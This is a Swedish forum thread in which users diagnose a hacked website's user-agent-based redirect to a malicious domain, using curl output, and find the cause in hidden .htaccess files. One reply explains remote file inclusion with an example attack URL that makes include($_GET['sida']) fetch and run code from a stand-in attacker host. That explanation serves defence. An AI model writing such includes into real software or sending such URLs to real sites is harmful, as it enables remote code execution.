18 svar · 3 439 visningar · startad av Söderlund
Enl. Google så omdirigeras man från min sida, https://www.pickel.se, till en annan sida med skadligt innehåll, till någon sidan som skall heta bigclarks.com tror jag att det var. Ok, nått skit har hänt tänkte då jag och rensade allt, tog bort alla sidor och databaser m.m. och laddade upp en ny index-sida med bara en liten text på.
Fortfarande påstår google att man omdirigeras till en sida med skadligt innehåll. Senast testad 27/11
Webbadress: http://www.pickels.se/listan/
Senast kontrollerad: 27 november 2011
Allmänna problem
När Google senast testade sidan returnerades inget innehåll från servern. Istället omdirigerades webbläsaren till en webbsida med skadligt innehåll. Det är troligt att din serverkonfiguration har ändrats.
pickels.se/listan finns överhuvudtaget inte. Har varit i kontakt med supporten på Binero och dom säger att det inte är nått fel.
Söker man på Google efter pickels.se så får man som svar att Den här webbplatsen kan skada din dator.
Så kan jag inte ha det, vad f*n skall jag göra?
Finns det någon .htaccess-fil som du kan ha glömt? Isåfall, låt mig få se den. Annars kan felet även ligga i någon av Apache's config-filer.
För jo, något redirectar en till wwww.bigclarks.com. Enda anledningen att den sidan inte hittas är att attackeraren har skrivit ett w för mycket.
För övrigt kan jag tillägga att det inte bara är /listan/ som är drabbat, utan alla undersidor som inte existerar.
Den första domänen du skrivit, pickel.se, finns inte.
Den andra, pickels.se, öppnar utan problem och visar f.n. din testsida.
Jag får inga varningar från Google alls och ingen redirect heller.
Men den första namnservern du använder verkar konstig: ns.kontrollpanelen.se. Bör det inte vara en siffra med där? typ ns1.kontrollpanelen.se?
Om du själv får konstiga resultat från Google osv, så kanske du ska testa andra DNS i internetuppkopplingen i din egen dator. Här är en lista på några: http://techpp.com/2010/08/25/free-fast-public-dns-servers-ip-list/
Danne, jag tror han skrev den första adressen för hand och stavade fel.
Gällande den andra, prova http://www.pickels.se/listan/ eller http://www.pickels.se/vadsomhelst/
Gällande den andra, prova http://www.pickels.se/listan/ eller http://www.pickels.se/vadsomhelst/
Spelar ingen roll. Får ingen redirect, bara 404:or. Som det ska vara alltså.
Jag trodde också på en kvarglömt (eller ditlagd) htaccess, men när jag testade först så var det ju ganska klart att det inte handlade om det alls. Jag tror antingen att någon matat världens DNS-servrar med felaktig info, men att den jag använder uppdaterat och fått tillbaka rätt data, eller att den första namnservern (ns.kontrollpanelen.se) är fel och ska vara ns1.kontrollpanelen.se.
Spelar ingen roll. Får ingen redirect, bara 404:or. Som det ska vara alltså.
Är du säker på att det är en 404 du ser? Titta noga om inte meddelandet säger "Server not found / Firefox can't find the server at wwww.bigclarks.com." eller liknande meddelande för annan webbläsare.
Jag är ganska säker på min sak. För att kolla närmare vad som försiggick provade jag att köra curl.
$ curl -v ht[i][/i]tp://w[i][/i]ww.pickels.se/listan/
* About to connect() to w[i][/i]ww.pickels.se port 80 (#0)
* Trying 194.30.169.10... connected
* Connected to w[i][/i]ww.pickels.se (194.30.169.10) port 80 (#0)
> GET /listan/ HTTP/1.1
> User-Agent: curl/7.20.1 (i686-pc-cygwin) libcurl/7.20.1 OpenSSL/0.9.8r zlib/1.
2.5 libidn/1.18 libssh2/1.2.5
> Host: w[i][/i]ww.pickels.se
> Accept: */*
>
< HTTP/1.1 404 Not Found
< Date: Mon, 28 Nov 2011 10:46:14 GMT
< Server: Apache/2
< Content-Length: 390
< Content-Type: text/html; charset=iso-8859-1
<
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /listan/ was not found on this server.</p>
<p>Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request
.</p>
<hr>
<address>Apache/2 Server at w[i][/i]ww.pickels.se Port 80</address>
</body></html>
* Connection #0 to host w[i][/i]ww.pickels.se left intact
* Closing connection #0
Fast det där såg ju inte alltför illa ut. Servern kanske bara skickar en förgiftad sida om man verkar köra med en riktig webbläsare?
$ curl -v -A "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.24) Gecko/20111103 Firefox/3.6.24" ht[i][/i]tp://w[i][/i]ww.pickels.se/listan/
* About to connect() to w[i][/i]ww.pickels.se port 80 (#0)
* Trying 194.30.169.10... connected
* Connected to w[i][/i]ww.pickels.se (194.30.169.10) port 80 (#0)
> GET /listan/ HTTP/1.1
> User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.24) Gecko
/20111103 Firefox/3.6.24
> Host: w[i][/i]ww.pickels.se
> Accept: */*
>
< HTTP/1.1 302 Found
< Date: Mon, 28 Nov 2011 10:46:31 GMT
< Server: Apache/2
< [u][red]Location: ht[i][/i]tp://wwww.bigclarks.com/main.php?h=www.pickels.se&i=J86ujNQUo/ihgBj7VspPyZ4XpA==&e=4[/red][/u]
< Content-Length: 344
< Content-Type: text/html; charset=iso-8859-1
<
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
[u][red]<p>The document has moved <a href="http://wwww.bigclarks.com/main.php?h=www.pick
els.se&i=J86ujNQUo/ihgBj7VspPyZ4XpA==&e=4">here</a>.</p>[/red][/u]
<hr>
<address>Apache/2 Server at w[i][/i]ww.pickels.se Port 80</address>
</body></html>
* Connection #0 to host w[i][/i]ww.pickels.se left intact
* Closing connection #0
Med andra ord, en 302-redirect.
Om du lyckas genomföra samma experiment och inte få samma resultat så är det förstås intressant.
Edit: Sen finns förstås möjligheten att du kör med en webbläsare som inte servern känner till och att du faktiskt får 404-an som jag fick med curl utan user-agent-sträng.
Jag trodde också på en kvarglömt (eller ditlagd) htaccess, men när jag testade först så var det ju ganska klart att det inte handlade om det alls. Jag tror antingen att någon matat världens DNS-servrar med felaktig info, men att den jag använder uppdaterat och fått tillbaka rätt data, eller att den första namnservern (ns.kontrollpanelen.se) är fel och ska vara ns1.kontrollpanelen.se.
Den teorin kan jag avvisa. ns.kontrollpanelen.se och ns1.kontrollpanelen.se pekar mot samma IP-adress och ger samma uppslag för https://www.pickels.se. Båda ns och ns1 är vanliga namn för den primära DNS-servern.
Är du säker på att det är en 404 du ser? Titta noga om inte meddelandet säger "Server not found / Firefox can't find the server at wwww.bigclarks.com." eller liknande meddelande för annan webbläsare.
Slarv av mig. Sidans title är "404 Not found" men i texten står det:
Not Found
The requested URL /listan/ was not found on this server.
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.
Apache/2 Server at https://www.pickels.se Port 80
Jag använder Safari/Mac. Orkade inte köra dina tester. Men när jag nu provade med Firefox/Mac dök det upp en varning (bild 1) som följdes upp av bild 2 där bigclarks.com nämns.
Mysko....
Red: Jag tror i alla fall att det är namnservrarna som spökar. Enligt iis.se använder sig alltså domänen av "ns.kontrollpanelen.se" men kolla här: http://www.whoishostingthis.com/pickels.se. Där är det bineros namnservrar.
Det här är lite över min kunskapsnivå men namnservrarna nu är
ns.kontrollpanelen.se
ns2.kontrollpanelen.se
Jag kan välja att använda Bineros namnservrar. Det kanske kan bra att göra det?
Kontrollpanelen.se ägs av Binero. Jag minns att jag har sett den användas ett par gånger i Binero 1.0. (T ex kan ev återstående 1.0-användare logga in till Bineros phpMyAdmin via https://phpmyadmin.kontrollpanelen.se/) Att domänen ägs av Binero kan du också kolla själv via iis.
Att du får olika värden beroende på vilken sida du kollar med har en fullständigt logisk förklaring. Gör man ett uppslag på vilka namnservrar som pickels.se använder så får man ns1.binero.se. och ns2.binero.se. som svar. (De extra punkterna ska vara där, men det är en annan historia.) ns1.binero.se ligger på IP-adress 195.74.36.250. Gör man ett baklängesuppslag så får man som svar... ns.kontrollpanelen.se.
Så DNS-spåret är helt dött.
Det har inget med namnservrarna att göra utan med att google har hittat skadlig kod på din webbplats, även om den nu är borttagen så kan det ta ett tag innan Google bekräftar det.
Jag har bett våra tekniker kolla på det.
Perfekt! :)
Så DNS-spåret är helt dött.
Shit. Jag som tyckte det var så bra. :r
Men det verkar ju ordna sig i alla fall.
Det har inget med namnservrarna att göra utan med att google har hittat skadlig kod på din webbplats, även om den nu är borttagen så kan det ta ett tag innan Google bekräftar det.
Jag har bett våra tekniker kolla på det.
Anders, som jag visade i mitt inlägg så det finns det fortfarande skadlig kod kvar i någon form som orsakar en redirect om man anropar sidor som inte finns. (Dock beroende på user agent.) Det kan handla om en .htaccess eller 404-sida som orsakar problemet. Det kan I värsta fall t.o.m. handla om Apaches globala 404-sida.
Lösningen...kanske
Jag hade en htaccess-fil, som nitro2k01 tipsade om, som jag kikade på och den verkade tom....tills man började skrolla lite.
Jag hoppas att det var det som spökade.
Frågan är bara hur gör man för att det inte skall upprepas?
Hittade 5-6 htaccess-filer till.
Att spåra varifrån intrånget kommer är inte alltid helt lätt. Om du har någon kod som skriver till filer kan det finnas en möjlighet att du inte tvättar rent indatan så någon har lyckats ange .htaccess som filnamn. En annan möjlig attackväg är om du inkluderar filer direkt från en get-parameter utan att kolla om värdet är giltigt. Typ index.php?sida=omoss som sedan hamnar i kodsnutten include($_GET['sida']); Om man istället anropar index.php?sida=http://www.attacksida.com/kod.txt så laddas koden i kod.txt ner och körs.
Det finns många saker som kan gå åt pipan. Att säga exakt vad som har skett i ditt fall är omöjligt utan att analysera koden. Om du har tagit bort allt utan att ta en kopia av filerna kan du för övrigt ha tagit bort eventuella värdefulla ledtrådar.
Härligt att det löste sig. Hade exakt samma problem och Binero hävdade att min FTP blivit hackad.